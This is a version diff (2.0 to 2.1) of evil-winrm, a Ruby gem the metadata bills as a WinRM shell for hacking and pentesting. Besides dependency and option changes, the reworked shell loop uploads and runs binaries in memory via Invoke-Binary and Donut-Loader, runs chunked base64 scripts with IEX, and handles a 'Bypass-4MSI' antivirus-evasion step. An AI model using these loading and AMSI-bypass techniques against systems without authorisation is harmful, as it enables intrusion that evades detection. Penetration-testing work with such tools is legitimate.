evil-winrm 2.0 → 2.1
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/lib/evil-winrm.rb +146 -133
- metadata +2 -16
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 7bda0429003e0d48d8305459a866f5f3a460fc1320af0cc3446081903e239dbf
|
4
|
+
data.tar.gz: 3746f299b2733317505df1bbb729da500edca1db5175b75392e9b7b5f7192db9
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 9734fc33c8e9bd6f06269492c9207a39be730525b081164a5a70730b2c0aff90eee72b31889ffea30d03988ebeef737de1ed18c4efd82c8557b7248d3c86f607
|
7
|
+
data.tar.gz: 40bb3349b464527a142ab82eabcb5b8f3e3a2132e784a1d4d39f528b522e56f6fcec2bd8169b67b3ca1dd4d3c6a7a2499cf06a4d7f1a2a480435dc1358e1aef4
|
data/lib/evil-winrm.rb
CHANGED
@@ -8,7 +8,6 @@
|
|
8
8
|
require 'winrm'
|
9
9
|
require 'winrm-fs'
|
10
10
|
require 'stringio'
|
11
|
-
require 'colorize'
|
12
11
|
require 'base64'
|
13
12
|
require 'readline'
|
14
13
|
require 'optionparser'
|
@@ -18,7 +17,7 @@ require 'time'
|
|
18
17
|
# Constants
|
19
18
|
|
20
19
|
# Version
|
21
|
-
VERSION = '2.
|
20
|
+
VERSION = '2.1'
|
22
21
|
|
23
22
|
# Msg types
|
24
23
|
TYPE_INFO = 0
|
@@ -34,7 +33,7 @@ $LISTASSEM = [''].sort
|
|
34
33
|
$DONUTPARAM1 = ['-process_id']
|
35
34
|
$DONUTPARAM2 = ['-donutfile']
|
36
35
|
|
37
|
-
# Colors
|
36
|
+
# Colors
|
38
37
|
$colors_enabled = true
|
39
38
|
|
40
39
|
# Path for ps1 scripts and exec files
|
@@ -70,7 +69,7 @@ class EvilWinRM
|
|
70
69
|
opts.on("-U", "--url URL", "Remote url endpoint (default /wsman)") { |val| options[:url] = val }
|
71
70
|
opts.on("-u", "--user USER", "Username (required)") { |val| options[:user] = val }
|
72
71
|
opts.on("-p", "--password PASS", "Password") { |val| options[:password] = val }
|
73
|
-
opts.on("-H", "--hash HASH", "
|
72
|
+
opts.on("-H", "--hash HASH", "NTHash") do |val|
|
74
73
|
if !options[:password].nil? and !val.nil?
|
75
74
|
self.print_header()
|
76
75
|
self.print_message("You must choose either password or hash auth. Both at the same time are not allowed", TYPE_ERROR)
|
@@ -88,6 +87,9 @@ class EvilWinRM
|
|
88
87
|
puts("v#{VERSION}")
|
89
88
|
self.custom_exit(0, false)
|
90
89
|
end
|
90
|
+
opts.on("-n", "--no-colors", "Disable colors") do |val|
|
91
|
+
$colors_enabled = false
|
92
|
+
end
|
91
93
|
opts.on('-h', '--help', 'Display this help message') do
|
92
94
|
self.print_header()
|
93
95
|
puts(opts)
|
@@ -98,7 +100,7 @@ class EvilWinRM
|
|
98
100
|
|
99
101
|
begin
|
100
102
|
optparse.parse!
|
101
|
-
if options[:realm].nil? then
|
103
|
+
if options[:realm].nil? and options[:priv_key].nil? and options[:pub_key].nil? then
|
102
104
|
mandatory = [:ip, :user]
|
103
105
|
else
|
104
106
|
mandatory = [:ip]
|
@@ -115,7 +117,7 @@ class EvilWinRM
|
|
115
117
|
custom_exit(1, false)
|
116
118
|
end
|
117
119
|
|
118
|
-
if options[:password].nil? and options[:realm].nil?
|
120
|
+
if options[:password].nil? and options[:realm].nil? and options[:priv_key].nil? and options[:pub_key].nil?
|
119
121
|
options[:password] = STDIN.getpass(prompt='Enter Password: ')
|
120
122
|
end
|
121
123
|
|
@@ -390,155 +392,166 @@ class EvilWinRM
|
|
390
392
|
time = Time.now.to_i
|
391
393
|
self.print_message("Establishing connection to remote endpoint", TYPE_INFO)
|
392
394
|
$conn.shell(:powershell) do |shell|
|
393
|
-
|
394
|
-
|
395
|
-
|
396
|
-
|
397
|
-
|
398
|
-
|
399
|
-
|
400
|
-
puts()
|
401
|
-
self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
|
395
|
+
begin
|
396
|
+
until command == "exit" do
|
397
|
+
pwd = shell.run("(get-location).path").output.strip
|
398
|
+
if $colors_enabled then
|
399
|
+
command = Readline.readline(self.colorize("*Evil-WinRM*", "red") + self.colorize(" PS ", "yellow") + pwd + "> ", true)
|
400
|
+
else
|
401
|
+
command = Readline.readline("*Evil-WinRM* PS " + pwd + "> ", true)
|
402
402
|
end
|
403
403
|
|
404
|
-
|
405
|
-
|
406
|
-
|
407
|
-
|
408
|
-
upload_command[2] = "#{pwd}\\#{upload_command[1].split('/')[-1]}"
|
409
|
-
elsif not upload_command[2].index ':\\'
|
410
|
-
upload_command[2] = "#{pwd}\\#{upload_command[2]}"
|
411
|
-
end
|
412
|
-
begin
|
413
|
-
self.print_message("Uploading #{upload_command[1]} to #{upload_command[2]}", TYPE_INFO)
|
414
|
-
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes|
|
415
|
-
if bytes_copied == total_bytes then
|
416
|
-
self.print_message("#{bytes_copied} bytes of #{total_bytes} bytes copied", TYPE_DATA)
|
417
|
-
self.print_message("Upload successful!", TYPE_INFO)
|
404
|
+
if command.start_with?('upload') then
|
405
|
+
if self.docker_detection() then
|
406
|
+
puts()
|
407
|
+
self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
|
418
408
|
end
|
419
|
-
end
|
420
|
-
rescue
|
421
|
-
self.print_message("Upload failed. Check filenames or paths", TYPE_ERROR)
|
422
|
-
end
|
423
409
|
|
424
|
-
|
425
|
-
|
426
|
-
puts()
|
427
|
-
self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
|
428
|
-
end
|
410
|
+
upload_command = command.tokenize
|
411
|
+
command = ""
|
429
412
|
|
430
|
-
|
431
|
-
|
432
|
-
|
433
|
-
|
434
|
-
|
435
|
-
|
436
|
-
|
437
|
-
|
438
|
-
|
439
|
-
|
440
|
-
|
441
|
-
|
442
|
-
|
443
|
-
|
413
|
+
if upload_command[2].to_s.empty? then
|
414
|
+
upload_command[2] = "#{pwd}\\#{upload_command[1].split('/')[-1]}"
|
415
|
+
elsif not upload_command[2].index ':\\'
|
416
|
+
upload_command[2] = "#{pwd}\\#{upload_command[2]}"
|
417
|
+
end
|
418
|
+
begin
|
419
|
+
self.print_message("Uploading #{upload_command[1]} to #{upload_command[2]}", TYPE_INFO)
|
420
|
+
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes|
|
421
|
+
if bytes_copied == total_bytes then
|
422
|
+
self.print_message("#{bytes_copied} bytes of #{total_bytes} bytes copied", TYPE_DATA)
|
423
|
+
self.print_message("Upload successful!", TYPE_INFO)
|
424
|
+
end
|
425
|
+
end
|
426
|
+
rescue
|
427
|
+
self.print_message("Upload failed. Check filenames or paths", TYPE_ERROR)
|
428
|
+
end
|
429
|
+
elsif command.start_with?('download') then
|
430
|
+
if self.docker_detection() then
|
431
|
+
puts()
|
432
|
+
self.print_message("Remember that in docker environment all local paths should be at /data and it must be mapped correctly as a volume on docker run command", TYPE_WARNING)
|
433
|
+
end
|
444
434
|
|
445
|
-
|
446
|
-
begin
|
447
|
-
invoke_Binary = command.tokenize
|
435
|
+
download_command = command.tokenize
|
448
436
|
command = ""
|
449
|
-
|
450
|
-
|
451
|
-
|
452
|
-
|
453
|
-
|
454
|
-
|
455
|
-
|
456
|
-
|
457
|
-
|
458
|
-
|
459
|
-
|
460
|
-
|
437
|
+
|
438
|
+
if not download_command[1].index ':\\' then download_command[1] = "#{pwd}\\#{download_command[1]}" end
|
439
|
+
|
440
|
+
if download_command[2].to_s.empty? then download_command[2] = download_command[1].split('\\')[-1] end
|
441
|
+
|
442
|
+
begin
|
443
|
+
self.print_message("Downloading #{download_command[1]} to #{download_command[2]}", TYPE_INFO)
|
444
|
+
file_manager.download(download_command[1], download_command[2])
|
445
|
+
self.print_message("Download successful!", TYPE_INFO)
|
446
|
+
rescue
|
447
|
+
self.print_message("Download failed. Check filenames or paths", TYPE_ERROR)
|
448
|
+
end
|
449
|
+
|
450
|
+
elsif command.start_with?('Invoke-Binary') then
|
451
|
+
begin
|
452
|
+
invoke_Binary = command.tokenize
|
453
|
+
command = ""
|
454
|
+
if !invoke_Binary[1].to_s.empty? then
|
455
|
+
load_executable = invoke_Binary[1]
|
456
|
+
load_executable = File.binread(load_executable)
|
457
|
+
load_executable = Base64.strict_encode64(load_executable)
|
458
|
+
if !invoke_Binary[4].to_s.empty? && invoke_Binary[5].to_s.empty?
|
459
|
+
output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2] + "," + invoke_Binary[3] + "," + invoke_Binary[4])
|
460
|
+
elsif !invoke_Binary[3].to_s.empty? && invoke_Binary[4].to_s.empty?
|
461
|
+
output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2] + "," + invoke_Binary[3])
|
462
|
+
elsif !invoke_Binary[2].to_s.empty? && invoke_Binary[3].to_s.empty?
|
463
|
+
output = shell.run("Invoke-Binary " + load_executable + "," + invoke_Binary[2])
|
464
|
+
elsif invoke_Binary[2].to_s.empty?
|
465
|
+
output = shell.run("Invoke-Binary " + load_executable)
|
466
|
+
end
|
467
|
+
elsif
|
468
|
+
output = shell.run("Invoke-Binary")
|
461
469
|
end
|
462
|
-
|
463
|
-
|
470
|
+
print(output.output)
|
471
|
+
rescue
|
472
|
+
self.print_message("Check filenames", TYPE_ERROR)
|
464
473
|
end
|
465
|
-
print(output.output)
|
466
|
-
rescue
|
467
|
-
self.print_message("Check filenames", TYPE_ERROR)
|
468
|
-
end
|
469
474
|
|
470
|
-
|
471
|
-
|
472
|
-
|
473
|
-
|
474
|
-
|
475
|
-
|
476
|
-
|
477
|
-
|
478
|
-
|
479
|
-
|
480
|
-
|
481
|
-
|
475
|
+
elsif command.start_with?('Donut-Loader') then
|
476
|
+
begin
|
477
|
+
donut_Loader = command.tokenize
|
478
|
+
command = ""
|
479
|
+
if !donut_Loader[4].to_s.empty? then
|
480
|
+
pid = donut_Loader[2]
|
481
|
+
load_executable = donut_Loader[4]
|
482
|
+
load_executable = File.binread(load_executable)
|
483
|
+
load_executable = Base64.strict_encode64(load_executable)
|
484
|
+
output = shell.run("Donut-Loader -process_id #{pid} -donutfile #{load_executable}")
|
485
|
+
elsif
|
486
|
+
output = shell.run("Donut-Loader")
|
487
|
+
end
|
488
|
+
print(output.output)
|
489
|
+
rescue
|
490
|
+
self.print_message("Check filenames", TYPE_ERROR)
|
482
491
|
end
|
483
|
-
print(output.output)
|
484
|
-
rescue
|
485
|
-
self.print_message("Check filenames", TYPE_ERROR)
|
486
|
-
end
|
487
492
|
|
488
|
-
|
489
|
-
|
490
|
-
|
491
|
-
|
493
|
+
elsif command.start_with?('services') then
|
494
|
+
command = ""
|
495
|
+
output = shell.run('Get-ItemProperty "registry::HKLM\System\CurrentControlSet\Services\*" | Where-Object {$_.imagepath -notmatch "system" -and $_.imagepath -ne $null } | Select-Object pschildname,imagepath | fl')
|
496
|
+
print(output.output.chomp)
|
497
|
+
|
498
|
+
elsif command.start_with?(*functions) then
|
499
|
+
self.silent_warnings do
|
500
|
+
load_script = $scripts_path + command
|
501
|
+
command = ""
|
502
|
+
load_script = load_script.gsub(" ","")
|
503
|
+
load_script = File.binread(load_script)
|
504
|
+
load_script = Base64.strict_encode64(load_script)
|
505
|
+
script_split = load_script.scan(/.{1,5000}/)
|
506
|
+
script_split.each do |item|
|
507
|
+
output = shell.run("$a += '#{item}'")
|
508
|
+
end
|
509
|
+
output = shell.run("IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($a))).replace('???','')")
|
510
|
+
output = shell.run("$a = $null")
|
511
|
+
end
|
492
512
|
|
493
|
-
|
494
|
-
self.silent_warnings do
|
495
|
-
load_script = $scripts_path + command
|
513
|
+
elsif command.start_with?('menu') then
|
496
514
|
command = ""
|
497
|
-
|
498
|
-
|
499
|
-
|
500
|
-
|
501
|
-
|
502
|
-
|
515
|
+
self.silent_warnings do
|
516
|
+
output = shell.run(menu)
|
517
|
+
output = shell.run("Menu")
|
518
|
+
autocomplete = shell.run("auto").output.chomp
|
519
|
+
autocomplete = autocomplete.gsub!(/\r\n?/, "\n")
|
520
|
+
assemblyautocomplete = shell.run("show-methods-loaded").output.chomp
|
521
|
+
assemblyautocomplete = assemblyautocomplete.gsub!(/\r\n?/, "\n")
|
522
|
+
if !assemblyautocomplete.to_s.empty?
|
523
|
+
$LISTASSEMNOW = assemblyautocomplete.split("\n")
|
524
|
+
$LISTASSEM = $LISTASSEM + $LISTASSEMNOW
|
525
|
+
end
|
526
|
+
$LIST2 = autocomplete.split("\n")
|
527
|
+
$LIST = $LIST + $LIST2
|
528
|
+
print(output.output)
|
503
529
|
end
|
504
|
-
|
505
|
-
|
530
|
+
|
531
|
+
elsif (command == "Bypass-4MSI") and (Time.now.to_i < time + 20)
|
532
|
+
puts()
|
533
|
+
self.print_message("AV could be still watching for suspicious activity. Waiting for patching...", TYPE_WARNING)
|
534
|
+
sleep(9)
|
506
535
|
end
|
507
536
|
|
508
|
-
|
509
|
-
|
510
|
-
|
511
|
-
output = shell.run(menu)
|
512
|
-
output = shell.run("Menu")
|
513
|
-
autocomplete = shell.run("auto").output.chomp
|
514
|
-
autocomplete = autocomplete.gsub!(/\r\n?/, "\n")
|
515
|
-
assemblyautocomplete = shell.run("show-methods-loaded").output.chomp
|
516
|
-
assemblyautocomplete = assemblyautocomplete.gsub!(/\r\n?/, "\n")
|
517
|
-
if !assemblyautocomplete.to_s.empty?
|
518
|
-
$LISTASSEMNOW = assemblyautocomplete.split("\n")
|
519
|
-
$LISTASSEM = $LISTASSEM + $LISTASSEMNOW
|
537
|
+
output = shell.run(command) do |stdout, stderr|
|
538
|
+
stdout&.each_line do |line|
|
539
|
+
STDOUT.puts(line.rstrip!)
|
520
540
|
end
|
521
|
-
|
522
|
-
$LIST = $LIST + $LIST2
|
523
|
-
print(output.output)
|
541
|
+
STDERR.print(stderr)
|
524
542
|
end
|
525
|
-
|
526
|
-
elsif (command == "Bypass-4MSI") and (Time.now.to_i < time + 20)
|
527
|
-
puts()
|
528
|
-
self.print_message("AV could be still watching for suspicious activity. Waiting for patching...", TYPE_WARNING)
|
529
|
-
sleep(9)
|
530
543
|
end
|
531
|
-
|
532
|
-
|
533
|
-
|
534
|
-
|
544
|
+
rescue Interrupt
|
545
|
+
puts("\n\n")
|
546
|
+
self.print_message("Press \"y\" to exit, press any other key to continue", TYPE_WARNING)
|
547
|
+
if STDIN.getch.downcase == "y" or STDIN.getch.downcase == "Y"
|
548
|
+
self.custom_exit(130)
|
549
|
+
else
|
550
|
+
retry
|
535
551
|
end
|
536
552
|
end
|
537
|
-
|
538
|
-
|
539
|
-
end
|
540
|
-
rescue SignalException
|
541
|
-
self.custom_exit(130)
|
553
|
+
self.custom_exit(0)
|
554
|
+
end
|
542
555
|
rescue SystemExit
|
543
556
|
rescue SocketError
|
544
557
|
self.print_message("Check your /etc/hosts file to ensure you can resolve #{$host}", TYPE_ERROR)
|
metadata
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: evil-winrm
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: '2.
|
4
|
+
version: '2.1'
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- CyberVaca
|
@@ -11,7 +11,7 @@ authors:
|
|
11
11
|
autorequire:
|
12
12
|
bindir: bin
|
13
13
|
cert_chain: []
|
14
|
-
date:
|
14
|
+
date: 2020-01-14 00:00:00.000000000 Z
|
15
15
|
dependencies:
|
16
16
|
- !ruby/object:Gem::Dependency
|
17
17
|
name: winrm
|
@@ -55,20 +55,6 @@ dependencies:
|
|
55
55
|
- - ">="
|
56
56
|
- !ruby/object:Gem::Version
|
57
57
|
version: 0.0.2
|
58
|
-
- !ruby/object:Gem::Dependency
|
59
|
-
name: colorize
|
60
|
-
requirement: !ruby/object:Gem::Requirement
|
61
|
-
requirements:
|
62
|
-
- - ">="
|
63
|
-
- !ruby/object:Gem::Version
|
64
|
-
version: 0.8.1
|
65
|
-
type: :runtime
|
66
|
-
prerelease: false
|
67
|
-
version_requirements: !ruby/object:Gem::Requirement
|
68
|
-
requirements:
|
69
|
-
- - ">="
|
70
|
-
- !ruby/object:Gem::Version
|
71
|
-
version: 0.8.1
|
72
58
|
description: The ultimate WinRM shell for hacking/pentesting
|
73
59
|
email: oscar.alfonso.diaz@gmail.com
|
74
60
|
executables:
|